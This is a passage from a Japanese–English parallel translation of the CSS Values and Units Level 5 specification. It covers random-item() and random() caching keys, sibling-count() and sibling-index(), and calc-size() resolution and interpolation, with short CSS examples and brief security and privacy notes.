注記: `random-caching-options$t 引数が `random$f においては省略可能な一方, `random-item$f においては要求されるわけは: ◎ Note: The <random-caching-options> argument is required in random-item(), but optional in random(), both\
- 構文解析の理由 ( `random-item(--foo; --bar; --baz)^v が 3 個の `declaration-value$t 引数をとるのか, 2 個のそれと `random-caching-options$t 引数をとるのか伝えることはアリでない)。 ◎ for parsing reasons (it’s impossible to tell whether random-item(--foo; --bar; --baz) has three <declaration-value> arguments or two and a <random-caching-options> argument),\
- 省略可能にすると、[ `random-item^f 関数の~instanceどうしを判別するために利用されるもの ]は,引数の個数しかなくなる — その結果、 別個な~random生成になるべき関数たちが,不用意に一緒くたにされ易くなる。 ◎ and because accidentally associating the random generation of random-item() functions together is much easier to do accidentally, since only the number of arguments is used to distinguish instances.
残りの引数は、 ~semicolonで分離された~CSS値たちが成す任意な連列である。 `random-item$f 関数は、 この連列から~randomに選ばれる一つに解決される。 ◎ The remaining arguments are arbitrary sequences of CSS values, separated by semicolons. The random-item() function resolves to one of these sequences, chosen uniformly at random.
注記: ~CSSにおける ほとんどの関数と違って, `random-item$f が引数どうしを~commaではなく~semicolonで分離するのは、 各~引数~自体が~commaを包含し得るからである。 ◎ Note: Unlike most functions in CSS, random-item() separates its arguments with semicolons, rather than commas, because its arguments can contain commas themselves.
`random-item$f 関数は、 `var$f の様な`任意的~代用~関数$である。 ◎ The random-item() function is an arbitrary substitution function, like var().
注記: すなわち, `random-item$f を利用する場合: ◎ That is, if you use random-item():
- `random-item$f (および他の`任意的~代用~関数$)自体は、 構文上は妥当である限り, ~prop全体が構文解析-時点では妥当であると見做される。 ◎ So long as random-item() itself (and any other arbitrary substitution functions) is syntactically valid, the entire property is assumed to be valid at parse time.
- `random-item$f は、 `算出d値$の時点で — `var$f を`代用する@~CSSVAR#substitute-a-var$ときと同じく — [ 何であれ それを解決した結果の値 ]で代用される — したがって、 すべての子は,同じ解決した結果の値を継承する。 ◎ random-item() is substituted with whatever value it resolves to at computed value time when you’d substitute a var(), so children all inherit the same resolved value.
- 値で代用した結果,~propが無効になる場合、 当の~propの値は,`無効が保証される値$になる。 ◎ If the substituted value ends up making the property invalid, the property’s value becomes the guaranteed-invalid value.
`任意的~代用~関数@ を定義する — おそらく `CSS-VARIABLES-2$r において。 この “代用” に類する機能性を備える関数が,いくつか控えているので。 ◎ Define arbitrary substitution function, probably over in Variables, since we have several upcoming functions leaning on this functionality.
`random-item$f は, `var$f の様にふるまうで、 おそらく, ~prop内に限り利用-可能になるよう制約することが求まれる (このことは、 そのようなどの関数にも適用するよう求まれる見込みが高い)。 `random$f は,根本的に異なる種類の値であるが、 ~thema的な一貫性を得るため,おそらく それも制約するよう求まれる。 ◎ Since random-item() is var()-like, we probably want to restrict it to only be usable in properties. (This is likely something we want to apply to all such functions.) Tho random() is a fundamentally different kind of value, we probably want to restrict it as well, for thematic consistency.
7.3. ~randomな値の生成-法/~cache法: `random-caching-options$t 値
~JSの様な~programming言語においては, ~code内に明瞭な時間的~順序付けが在るので、 `Math.random()^c に対する~callの様なものが`いつ評価されるか^emを正確に伝えれる。 結果は変数~内に格納できるので、 複数の箇所で[ 単独の~randomな値を再利用しているのか,別個な~random値を利用しているのか ]は,明瞭になる。 ◎ In a programming language like JavaScript, there’s a clear temporal ordering to code, so you can tell exactly when something like a call to Math.random() is evaluated. You can also store the results in a variable, making it clear when you’re reusing a single random value in multiple places, versus using a distinct random value in each location.
他方,~CSSは宣言的な言語なので (~codeは、 特定0の順序で “実行される” ことはなく, 何かが何回 “実行されるか” に対する制御も無い)、 同じ~styleを複数の要素に適用することは,ごく容易であるが: ◎ CSS, on the other hand, is a declarative language (code is not "executed" in any particular order, nor is there any control over how many times something is "executed");\ it makes it very easy to apply identical styles to multiple elements but\
- 各~要素に別個な値を指定することは困難である ( `random$f が[ それを利用している~propが適用される各~要素 ]に対し[ 同じ値, 別個な値 ]どちらに解決するよう意味されるかは、 不明瞭である)。 ◎ difficult to specify distinct values for each of them (making it unclear whether a property using random() is meant to resolve to the same value on each element it’s applied to or to distinct values on each);\
- “変数” の機能性は,ごく制限される (特定0の[ ~randomに生成された値 ]を何箇所かで意図的に再利用することは、 困難である)。 ◎ and it has very limited "variable" functionality (making it difficult to intentionally reuse a particular randomly-generated value in several places).
これらの課題を解決するため、 `~random関数$【!the random() and random-item() functions】は, 次に挙げる[ ~cache法の意味論 ]の下で~randomな値を生成するものと定義される: ◎ To resolve these issues, the random() and random-item() functions are defined to generate random values under the following caching semantics:
-
~stylesheet内の各[ `~random関数$【!`random$f or `random-item$f】の~instance ]は、 `~random~cache用~key@ を指定する。 [ `random$f たち/ `random-item$f たち ]【!Two instances of either function】は、 `~random~cache用~key$が[ 一致するならば`一致する値^em/ 異なるならば`別個な値^em ](順不同)に解決するモノトスル。 ◎ Each instance of random() or random-item() in a stylesheet specifies a random-caching key. Two instances of either function must resolve to identical values if their random-caching keys are identical; they must resolve to distinct values if they’re different.
(ここでの “別個” とは、[ ある新規な~random演算により生成される ]ことを意味する — その結果は、 別の~random演算と偶然~同じ値になるかもしれないが。) ◎ ("Distinct" here means generated by a fresh random operation; this might coincidentally result in the same value as another random operation.)
-
`random$f 用の`~random~cache用~key$は、 次に挙げるものからなる`~tuple$である: ◎ For random(), the random-caching key is a tuple of:
- 最小を与える`計算式$の`使用~値$。 ◎ The used value of the minimum calculation.
- 最大を与える`計算式$の`使用~値$。 ◎ The used value of the maximum calculation.
- 段差を与える`計算式$が[ 在るならば その`使用~値$/ 無いならば ~NULL ]。 ◎ The used value of the step calculation, if present, or null otherwise.
- `random-caching-options$t を成す `dashed-ident$t は[ 在るならば それ/ 無いならば ~NULL ]。 ◎ The <dashed-ident> part of the <random-caching-options>, if present, or null otherwise.
- `random-caching-options$t 内に `per-element^v が指定された場合、 当の関数が現れる[ 要素/疑似要素 ]ごとに一意な値。 ◎ If per-element is specified in the <random-caching-options>, a unique value per element or pseudo-element the function appears in.
-
`random-item$f 用の`~random~cache用~key$は、 次に挙げるものからなる`~tuple$である: ◎ For random-item(), the random-caching key is a tuple of:
- 当の関数に与えられた引数の個数。 ◎ The number of arguments to the function.
- `random-caching-options$t を成す `dashed-ident$t は[ 在るならば それ/ 無いならば ~NULL ]。 ◎ The <dashed-ident> part of the <random-caching-options>, if present, or null otherwise.
- `random-caching-options$t 内に `per-element^v が指定されたならば、 当の関数が現れる[ 要素/疑似要素 ]ごとに一意な値。 ◎ If per-element is specified in the <random-caching-options>, a unique value per element or pseudo-element the function appears in.
[ 要素/疑似要素 ]ごとに “一意な値” の存続期間は、[ 当の要素/当の疑似要素の`出自の要素$ (および当の疑似要素を一意に識別するために足る追加的な報) ]への~JS参照と同じになるモノトスル。 別々な文書~内の要素どうしは、 別個な一意な値をとる`べきである^em (同じ~pageであっても、 別個な文書を生産する場合 — 例:~pageが~refreshされた前後 — には,別々な文書とされる)。 (このことは,厳密には[ これらの値の疑似-~random生成を許容するために要求されるもの ]ではないが、 一意~性は,作者が[ 要素たちが文書どうしで同じ値をとること ]に依存し得なくするには十分なはずと見込まれる。) ◎ The "unique value per element or pseudo-element" must have the same lifetime as a JavaScript reference to the element (or to the originating element + sufficient additional info to uniquely identify the pseudo-element). Elements in separate documents (including across refreshes of the same page, which produces distinct documents with distinct elements) should have distinct unique values. (This is not strictly required, to allow for pseudo-random generation of these values, but uniqueness should be likely enough that authors cannot depend on elements having the same values across documents.)
加えて,~random生成~methodは、 同じ演算であっても異なる文書(同じ~pageの~refreshも含む)で呼出されたときは,別個な値を生成する`ベキ^emである。 ◎ Additionally, the random generation method should generate distinct values for the same operation when invoked on different documents (including refreshes of the same page).
例えば、 次の~stylesheetにおいて: ◎ For example, in the following stylesheet:
.random-square { width: random(100px, 500px); height: random(100px, 500px); }
両~関数の`~random~cache用~key$は、 どちらも ( `100px^v, `500px^v, ~NULL, ~NULL, ~NULL ) になり,一致する。 このことは、 どちらも正確に同じ値に解決されることを意味する — その結果、 `.random-square^css に合致している要素たちは,[ 縦幅, 横幅とも同じ[ `100px^v 以上 `500px^v 以下のどこかにある~size ]を伴う正方形になる ]かつ[ どの要素も同じ~sizeになる ]ことが保証される。 ◎ The random-caching keys for both functions are identical: (100px, 500px, null, null, null). This means that both will resolve to the exact same value, guaranteeing a square element with a size somewhere between 100px and 500px. Additionally, every .random-square element will have the same size.
他方,次の~stylesheetでは: ◎ On other hand, in this stylesheet:
.random-rect { width: random(100px, 500px); height: random(--x, 100px, 500px); }
両~関数の`~random~cache用~key$は、 別個になる ⇒# `width$p においては ( `100px^v, `500px^v, ~NULL, ~NULL, ~NULL ), `height$p においては ( `100px^v, `500px^v, ~NULL, `--x^v, ~NULL ) ◎ The random-caching keys are distinct between the two functions: the function in width has (100px, 500px, null, null, null), while the function in height has (100px, 500px, null, --x, null).
すなわち、 両~関数は別個な~random値に解決され,要素は およそ正方形にならない。 それでも、 `.random-rect^css に合致している要素たちは, `同じ^em~randomな~sizeを有することになる。 ◎ This means the two functions will resolve to distinct random values, making it very unlikely for the element to be square. However, every element matching .random-rect will still have the same random size.
この~keyは、 関数を成す どの側面を変更しても,改められる。 類似に、 次の 2 個の宣言は別個になる — 結果の横幅と縦幅には何ら繋がりはない: ◎ Changing any aspect of the function also alters this key. The following two declarations are similarly distinct, resulting in the width and height having no connection to each other:
.random-rect-2 { width: random(100px, 500px); height: random(100px, 500px, by 50px); }
2 つの関数は、 見かけは異なっていても,【各~引数の】`使用~値$が一致するならば一致する。 例えば,次の~codeでは: ◎ But so long as the used values end up identical, two functions that look distinct might end up identical. For example, in the following code:
.random-square-2 { font-size: 16px; width: random(160px, 320px); height: random(10em, 20em); }
2 つの関数は,見かけ上は異なるが、 `~random~cache用~key$は, 長さを全部的に解決した後には どちらも ( `160px^v, `320px^v, ~NULL, ~NULL, ~NULL ) になるので、[ 横幅, 縦幅 ]は,実際には常に一致するようになる。 ◎ The two functions superficially look different, but after the lengths are fully resolved they end up with identical random-caching keys; each is (160px, 320px, null, null, null), so actually the widths and heights will end up always identical.
既定では、 ~stylesheet内の各[ `random$f 関数の~instance ]は,本質的に静的な値に解決され、 当の~propが適用される要素~すべてから共有される。 この挙動は、 `per-element^v ~keywordで変更できる。 ◎ By default, each instance of a random() function in a stylesheet essentially resolves to a static value, which is then shared by every element that property applies to. This behavior can be changed with the per-element keyword.
例えば、 次においては: ◎ For example, in:
.foo { width: random(100px, 500px); }
`.foo^css に合致している要素たちの横幅は, 同じ~randomな値になるが、 次においては: ◎ Multiple elements matching .foo will end up with the same random width. ◎ But in:
.foo { width: random(per-element, 100px, 500px); }
`.foo^css に合致している各~要素は、 自前の`一意^emな横幅を取得することになる。 ◎ Every element matching .foo will get its own unique width.
これは,値を要素ごとに一意にするが、 `値ごと^emに一意になることは必要yでないことに注意。 例えば、 次においては: ◎ Note that this causes the value to be unique per element, not per value necessarily. For example, in:
.random-squares { width: random(per-element, 100px, 500px); height: random(per-element, 100px, 500px); }
`.random-squares^css に合致している要素たちは,互いに別個な~random値を取得するが、 各~要素の[ `width$p, `height$p ]~propは,どちらも`同じ値^emをとり,要素を正方形にする。 — それらの~propの`~random~cache用~key$は ( `100px^v, `500px^v, ~NULL, ~NULL, 当の要素~用の一意な値 ) であり、 どちらの関数も同じ要素~上では同じ長さに解決されるので。 ◎ Every element matching .random-squares will get a distinct random value, but that value will be the same for width and height on a given element, making the element square. This is because in both properties the random-caching key is (100px, 500px, null, null, [unique value for the element]), so both functions will resolve to the same length on a single element.
これは、 `~custom~prop$における~randomな値が,より予測-可能に動作するようにする。 上の~codeは、 次のように書くこともできる: ◎ This makes random values in custom properties act more predictably. The preceding code could also be written as:
.foo { --size: random(per-element, 100px, 500px); width: var(--size); height: var(--size); }
8. ~tree計数~関数: `sibling-count^f, `sibling-index^f 記法
`sibling-count@f `関数-記法$は、 この記法を利用した要素の親の子~群を成す`要素$の総数を `integer$t として表現する。 ◎ The sibling-count() functional notation represents, as an <integer>, the total number of child elements in the parent of the element on which the notation is used.
`sibling-index@f `関数-記法$は、[ この記法を利用した要素は,その親の子~群を成す何個目の要素なのか ]を — `nth-child()$ps と同様に 1 から数える — `integer$t として表現する。 ◎ The sibling-index() functional notation represents, as an <integer>, the index of the element on which the notation is used among the children of its parent. Like :nth-child(), sibling-index() is 1-indexed.
注記: `counter$f 関数は, `sibling-index$f と類似な能を供せるが、 それは, `integer$t ではなく `string$t を返す。 ◎ Note: The counter() function can provide similar abilities as sibling-index(), but returns a <string> rather than an <integer>.
これらの関数は、 `疑似要素$に利用されたときは, その`最終的な出自の要素$で指定されたかのように解決される。 ◎ When used on a pseudo-element, these both resolve as if specified on its ultimate originating element.
注記: [ `sibling-count$f, `sibling-index$f ]は、 他の(`選択子$以外の)~CSSと同様に, `平坦~化された要素~tree$に対し演算する ◎ Note: Like the rest of CSS (other than selectors), sibling-count() and sibling-index() operate on the flat tree.
注記: これらの関数は、 将来においては,拡張され得る — `nth-child()$ps と類似に, 子~群を下位集合に~filterするための of `selector^t 引数を受容するよう。 ◎ Note: These functions may, in the future, be extended to accept an of <selector> argument, similar to :nth-child(), to filter on a subset of the children.
9. 内在的~sizeを伴う計算-法: `calc-size^f 関数
[ 2 個の `確定的~size$の合間で遷移するとき/ 既存の`確定的~size$を少し調整するとき ]には、 `calc$f は申し分なく働く: `100%^v と `20px^v の中間点は `calc(50% + 10px)^v で得られ, 両~側に~margin `15px^v を伴う `20%^v は `calc(20% + 15px * 2)^v で得られる, 等々。 ◎ When transitioning between two definite sizes, or slightly adjusting an existing definite size, calc() works great: halfway between 100% and 20px is calc(50% + 10px), 20% with a margin of 15px on either side is calc(20% + 15px * 2), etc.
が,これらの演算は、[ 調整する/他との間で遷移する ]よう求まれる~sizeが`内在的~size$である場合には,もはやアリでない — それには、 実施~上の理由も後方-互換性の理由もある。 `calc-size$f 関数は、 内在的~sizeに対し[ 安全かつ きちんと定義された仕方で~mathが遂行される ]ことを許容する。 ◎ But these operations are no longer possible if the size you want to adjust or transition to/from is an intrinsic size, for both practical and backward-compatibility reasons. The calc-size() function allows math to be performed on intrinsic sizes in a safe, well-defined way.
`calc-size()@t = calc-size( `calc-size-basis$t, `calc-sum$t? ) `calc-size-basis@t = `intrinsic-size-keyword$t | `calc-size$f | `any$v | `calc-sum$t
`intrinsic-size-keyword@t 生成規則は、 当の文脈において許容される どの`内在的~size$~keywordにも合致する。 例えば, `width$p においては、[ `~autoS$v, `min-content$v, `stretch$v, 等々 ]に合致する。 ◎ The <intrinsic-size-keyword> production matches any intrinsic size keywords allowed in the context. For example, in width, it matches auto, min-content, stretch, etc.
引数(たち)は、 `~calc-size基底s@ , `~calc-size計算式@ を与える:
- 引数が 2 個~与えられた場合 ⇒ それらが順に[ `~calc-size基底s$, `~calc-size計算式$ ]を与える。
-
引数が 1 個だけ与えられた場合:
- 供された引数は `calc-sum$t である場合 ⇒ `~calc-size基底s$は `any$v になり, 供された引数が`~calc-size計算式$を与える。
- 他の場合 ⇒ 供された引数が`~calc-size基底s$を与え, `~calc-size計算式$は `size$v になる。
`calc-sum$t として与えられる引数は、 `length$t に解決されるものでなければナラナイ。
◎ If two arguments are given, the first is the calc-size basis, and the second is the calc-size calculation.\ For either argument, if a <calc-sum> is given, it must resolve to a <length>. ◎ If only one argument is given, and it’s a <calc-sum>, then the provided argument is the calc-size calculation, and the calc-size basis defaults to any. Otherwise, the provided argument is the calc-size basis, and the calc-size calculation defaults to size.`~calc-size基底s$が `any$v でない場合、 `~calc-size計算式$の中では,~keyword `size@v が許容される。 この~keywordは `length$t であり, `使用~値$の時点で解決される。 ◎ Within the calc-size calculation, if the calc-size basis is not any, the keyword size is allowed. This keyword is a <length>, and resolves at used value time.
`calc-size$f は、 ある`内在的~size$を表現する。 特定的に、 それは, `length$t `ではない^em — `calc-size^f を受容するよう求まれる箇所は,どこであれ、 その文法~内に明示的に含めなければナラナイ。 ◎ calc-size() represents an intrinsic size. It is specifically not a <length>; any place that wants to accept a calc-size() must explicitly include it in its grammar.
なぜ `calc$f 内に内在的~size~keywordを許容するだけは済まないのか? ◎ Why not just allow intrinsic keywords in calc()?
理論~上は、 `calc-size$f を導入することなく — 補間が通常通り働くことを許容するために — `calc(auto * .5)^v が妥当になるよう定義することもできた。 ◎ In theory, rather than introducing calc-size(), we could have defined calc(auto * .5) to be valid, allowing interpolation to work as normal.
が、 これには小さな課題がある: 複数の~keywordを併用することは,依然として許容されないが、 そのことは,さほど明白でない (すなわち、 `calc((min-content + max-content)/2)^v は適理に見えるが,許容されない)。 ◎ This has the minor issue that mixing keywords still wouldn’t be allowed, but it wouldn’t be as obvious (that is, calc((min-content + max-content)/2) looks reasonable, but would be disallowed).
より大きな課題は、 これが百分率を滑らかに遷移することを許容しないことにある。 `calc(50%)^v は、 当の文脈において百分率が`確定的~size$になるときは, `calc(100%)^v が成す~sizeの半分になるが、 そうでない場合には,通例的に `calc(100%)^v と同じ~sizeになる (当の文脈に依存して, `0px^v になるか `~autoS$v で~sizeされる)。 ◎ The larger issue, tho, is that this wouldn’t allow us to smoothly transition percentages. calc(50%) is only half the size of calc(100%) when percentages are definite in the context; if they’re not, the two values will usually be the same size (depending on the context, either 0px or auto-sized).
新たな関数として[ 計算-対象の~sizeを計算式~自体から明示的に分離するもの ]を利用すれば、 `すべての事例^emで,滑らかな補間が得られるようになる。 ◎ Using a new function that explicitly separates the size you’re calculating with from the calculation itself lets us get smooth interpolation in all cases.
追加的な考慮として、[ ある要素が内在的に~sizeされるか確定的になるか ]に依存して, 小さくなったり大きくなるような多くの効果が在る。 `calc$f を利用することは、 “要素は内在的に~sizeされたか?” という問いに対する答えが, ある遷移の途中と終端で異なることを意味する ( 【 `min-content^v から `20px^v へ遷移させる事例では,進捗~率 0.8 の時点で:】 途中では `calc(min-content * .2 + 20px * .8))^v になり, “はい” になる一方で、 終端では `calc(20px)^v になり, “いいえ” になる)。 その結果、 他では滑らかな遷移が,終了~時には~layoutが急変するようになる。 ◎ An additional consideration is that there are many effects, some small and some large, that depend on whether an element is intrinsically sized or definite. Using calc() would mean that the answer to the question "is the element intrinsically-sized" can have one answer in the middle of a transition ("yes", for calc(min-content * .2 + 20px * .8))), but a different answer at the end of the transition ("no", for calc(20px)), causing the layout to jump at the end of an otherwise-smooth transition.
(これは、 `opacity$p を `1^v から `0^v へ~animateするときに生じ得る積層~層の変化に類似する — `1^v 以外の値は積層~文脈を強制するので。 `opacity$p においては、[ `1^v から視覚的に判別-不能でありながら積層~文脈を強制する `.999^v ]へ~animateすることにより対処できる。 が、 内在的か否かを維持することを確保するために, `calc(auto * .0001)^v へ~animateするよう人々に依頼することは、 それほど適理ではない。) ◎ (This is similar to the stacking-layer changes that can occur when animating from opacity:1 to opacity: 0; any non-1 value forces a stacking context. With opacity you can get around this by animating to .999, which is visually indistinguishable from 1 but forces a stacking context. It’s not as reasonable to ask people to animate to calc(auto * .0001) to ensure it retains its intrinsic-ness.)
`calc-size(auto, 20px)^v の様に,[ 自身が`内来的^emに内在的~sizeであるものとして識別される新たな関数 ]を利用することは、[ 実際の~sizeが確定的~長さであるとき ]でも[ ~layoutの挙動が時間~全体にわたり安定になるよう保守できる ]ことを意味する。 ◎ Again, using a new function that identifies itself as being inherently an intrinsic size, like calc-size(auto, 20px), means we can maintain stable layout behaviors the entire time, even when the actual size is a definite length.
9.1. `calc-size^f の解決-法
`calc-size$f は、 すべてに関して,その`~calc-size基底s$であったかのように扱われる。 しかしながら,実際に~layout計算を遂行するときには、 その`~calc-size基底s$が表現する~sizeは, その`~calc-size計算式$の値へ — `size$v ~keywordを`~calc-size基底s$の元の~sizeへ評価する下で — 改変される。 ◎ A calc-size() is treated, in all respects, as if it were its calc-size basis. When actually performing layout calculations, however, the size represented by its calc-size basis is modified to the value of its calc-size calculation, with the size keyword evaluating to the calc-size basis’s original size.
`~calc-size基底s$が `any@v をとる場合、 `calc-size$f は, その`~calc-size計算式$に等しい長さを与える`確定的~size$になる。 ◎ (If the calc-size basis is any, the calc-size() is a definite length, equal to its calc-size calculation.)
例えば, `height: calc-size(auto, size + 20px)$p を伴う要素は、 `height: auto^p を伴う要素と同じに扱われるが, その結果は `20px^v 高くなる。 ◎ For example, an element with height: calc-size(auto, size + 20px) will be treated identically to an element with height: auto, but will end up being 20px taller.
`~calc-size計算式$を評価するときは、[ 所与の文脈において百分率は確定的でない場合 ]には `0px^v 解決され, 他の場合は通常通り解決される。 ◎ When evaluating the calc-size calculation, if percentages are not definite in the given context, the resolve to 0px. Otherwise, they resolve as normal.
(`~calc-size基底s$においては、 百分率は,通常通り解決される。 当の文脈において,それが — [ 場合によっては、 ~propは`~autoとして挙動する$ ]ようになる場合, 等々も含めて — 確定的になるか否かに関わらず)。 ◎ (In the calc-size basis, percentages resolve as normal for the context regardless of definite-ness, including possibly making a property behave as auto, etc.)
注記: 基底sにおける百分率は,通常通り働くので、 常に,`どの~size^emへも — その値や挙動に関わらず — 滑らかに遷移させれる。 例えば、 `calc-size$f を伴わない下で, `100%^v から `0px^v へ遷移する場合、 それが滑らかに働くのは,百分率が`確定的~size$である場合に限られる — そうでない場合, 当の~propは遷移~全体にわたって`~autoとして挙動する$かもしれず、 その場合,~sizeは実際には まったく変化しなくなる。 ◎ Percentages in the basis work as normal so you can always smoothly transition to any size, regardless of its value or behavior. For example, without calc-size(), transitioning from 100% to 0px only works smoothly if the percentage is definite; if it’s not, then during the entire transition the property might behave as auto and not actually change size at all.
他方、 計算式における百分率は,不定なときには 0 へ解決される — `calc-size$f が 2 つの異なる仕方で動作するようになり得ることを避けるため。 `min-content$v ~sizeと `100%^v ~sizeで~layout効果が異なる結果になる事例もあり、 そこでの `calc-size^f は,どちらか一方として装う必要がある。 ◎ Percentages in the calculation, on the other hand, are resolved to 0 when indefinite to avoid making the calc-size() potentially act in two different ways; there are some cases where a min-content size will cause different layout effects than a 100% size, and so a calc-size() has to masquerade as one or the other.
9.2. `calc-size^f の補間-法
2 個の `calc-size$f 関数は、 双方の`~calc-size基底s$が ~OR↓ を満たす場合に補間できる: ◎ Two calc-size() functions can be interpolated if:
- どちらも同じ `intrinsic-size-keyword$t である ⇒ この場合、 結果の`~calc-size基底s$は,その~keywordになる。 ◎ both calc-size basises are the same <intrinsic-size-keyword> • The result’s calc-size basis is that keyword
- どちらも `calc-sum$t である ⇒ この場合、 結果の`~calc-size基底s$は, 2 個の入力~基底sの補間になる。 ◎ both calc-size basises are <calc-sum>s • The result’s calc-size basis is the interpolation of the two input basises.
- どちらかが `any$v をとる ⇒ この場合、 結果の`~calc-size基底s$は,[ どちらも `any^v をとる場合は `any^v / 他の場合は `any^v でない方 ]になる。 ◎ either calc-size basis is any • The result’s calc-size basis is the non-any basis (or any if both are).
これらの目的においては、 `~calc-size基底s$が `calc-size$f である場合, それを自前の`~calc-size基底s$として扱うとする。 ◎ (For these purposes, if the calc-size basis is a calc-size(), treat it as its own calc-size basis.)
結果の`~calc-size計算式$は、 2 つの入力`~calc-size計算式$の補間になる。 ◎ The result’s calc-size calculation is the interpolation of the two input calc-size calculations.
注記: 補間に対する これらの制約は、[ `calc-size$f は,同時に 2 つの異なる仕方で動作するよう試行しない ]ことを確保する。 例えば,[ `min-content$v, `max-content$v ]が~layoutに対し異なる挙動を生産する事例もあるので、 `calc-size^f は,どちらか一方として装う必要がある。 あいにく,このことは、 `~autoS$v から `min-content^v へ行く様な~keywordどうしでは遷移し得ないことを意味する。 ◎ Note: These interpolation restrictions ensure that a calc-size() doesn’t try to act in two different ways at once; there are some cases where a min-content and max-content would produce different layout behaviors, for example, so the calc-size() has to masquerade as one or the other. This, unfortunately, means you can’t transition between keywords, like going from auto to min-content.
`calc-size$f 値には[ `length-percentage$t / `intrinsic-size-keyword$t ]値 %値 と補間できることもある。 [ これらの値を補間できるかどうか, できる場合の補間の挙動 ]を決定するときは、 %値 を `calc-size( 値 )^v として扱う下で, 上の規則を適用する。 ◎ Some calc-size() values can also be interpolated with a <length-percentage> or an <intrinsic-size-keyword>. To determine whether the values can interpolate and what the interpolation behavior is, treat the non-calc-size() value as calc-size( value ) and apply the rules above.
例えば、 `height$p においては, `calc-size$f と `auto^v の補間は許容される: ◎ For example, calc-size() allows interpolation to/from height: auto:
details { transition: height 1s; } details::details-content { display: block; } details[open]::details-content { height: auto; } details:not([open])::details-content { height: calc-size(0px); }
これは、 暗黙的に[ `calc-size(auto, size)^v, `calc-size(any, 0px)^v ]の合間を補間することになる。 `details$e を開いてから 0.5 秒~後には、 `details-content^pe† の `height$p は, 開な~sizeの半分 `calc-size(auto, size * .5)^v になり、 その縦幅は,遷移~全体を通して滑らかに~animateすることになる。 ◎ This will implicitly interpolate between calc-size(auto, size) and calc-size(any, 0px). Half a second after opening the details, the ::details-content wrapper’s height will be calc-size(auto, size * .5), half its open size; thruout the transition it’ll smoothly animate its height.
【† この疑似要素を定義する仕様は現時点では無いが、[ `details$e 要素の要約( `summary^e )以外を成す部分を包装する~box ]になることが意図されると思われる。 】
注記:
`calc-size$f は、
calc-size(`確定的~size$)
と他の何かの間で
— “他の何か” がどう指定されたかに関わらず —
`常に^em滑らかに遷移することになるよう設計された。
◎
Note: calc-size() is designed such that transitioning to/from calc-size(definite length) will always work smoothly, regardless of how the other side of the transition is specified.
あるいは、 単に[ 一方の~sizeに `calc-size$f が明示的に利用されていない場合 ]でも[ ~keywordと固定的な長さの合間で直な補間を許容すること ]と互換になる【よう設計されたと言える】か? そうなれば うれしいが、 互換性の分析が要求される。 ◎ Or is it compatible to just allow direct interpolation between keywords and fixed lengths, even without an explicit calc-size() being used on one size? This would be nice, but compat analysis is required.
謝辞
まずは、 以前の~levelまでに対する`すべての貢献者たち@~CSSVAL#acknowledgments$に感謝する。 ◎ Firstly, the editors would like to thank all of the contributors to the previous level of this module.
~commentと示唆を寄せられ,この~level 5 を改善した `L. David Baron^en, `Mike Bremford^en 各氏にも感謝する。 ◎ Secondly, we would like to acknowledge L. David Baron and Mike Bremford for their comments and suggestions, which have improved Level 5.
変更点
- 近過去な変更点 ◎ Recent Changes
- (これは、`~level 4 からの追加@#additions-L4$の下位集合を成す。) ◎ (This is a subset of Additions Since Level 4.)
- `~level 4$ からの追加 ◎ Additions Since Level 4 ◎ Additions since CSS Values and Units Level 4:
- `toggle$f 記法, `attr$f 記法を追加した。 ◎ Added the toggle() and attr() notations
~security/~privacyの考慮点
この仕様は、 ほぼ各~CSS仕様に共通な単位を定義するだけなので, ~securityの懸念は無い。 ◎ This specification mostly just defines units that are common to CSS specifications, and which present no security concerns.
注記: ~URLの取扱いには、 ~securityの懸念はあるか? おそらく。 ◎ Note: Does URL handling have a security concern? Probably.
この仕様は、 利用者の[ ~screen~size, 既定の~font~size ]を公開する単位を定義するが、 どちらも~JSから自明に観測-可能なので, 新たな~privacy~riskを成すことはない。 ◎ This specification defines units that expose the user’s screen size and default font size, but both are trivially observable from JS, so they do not constitute a new privacy risk.
`attr$f 関数は、 ~HTML属性~値を~CSS値に利用することを許容する — それは、[ これまで~CSSを介して~access可能ではなかった敏感な情報 ]を公開するものになり得る。 `§ ~security@#attr-security$ を見よ。 ◎ The attr() function allows HTML attribute values to be used in CSS values, potentially exposing sensitive information that was previously not accessible via CSS. See § 6.4.3 Security.